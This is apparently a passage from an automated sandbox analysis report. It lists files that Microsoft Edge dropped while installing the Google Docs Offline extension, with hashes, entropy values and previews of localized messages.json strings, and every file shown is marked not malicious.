Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
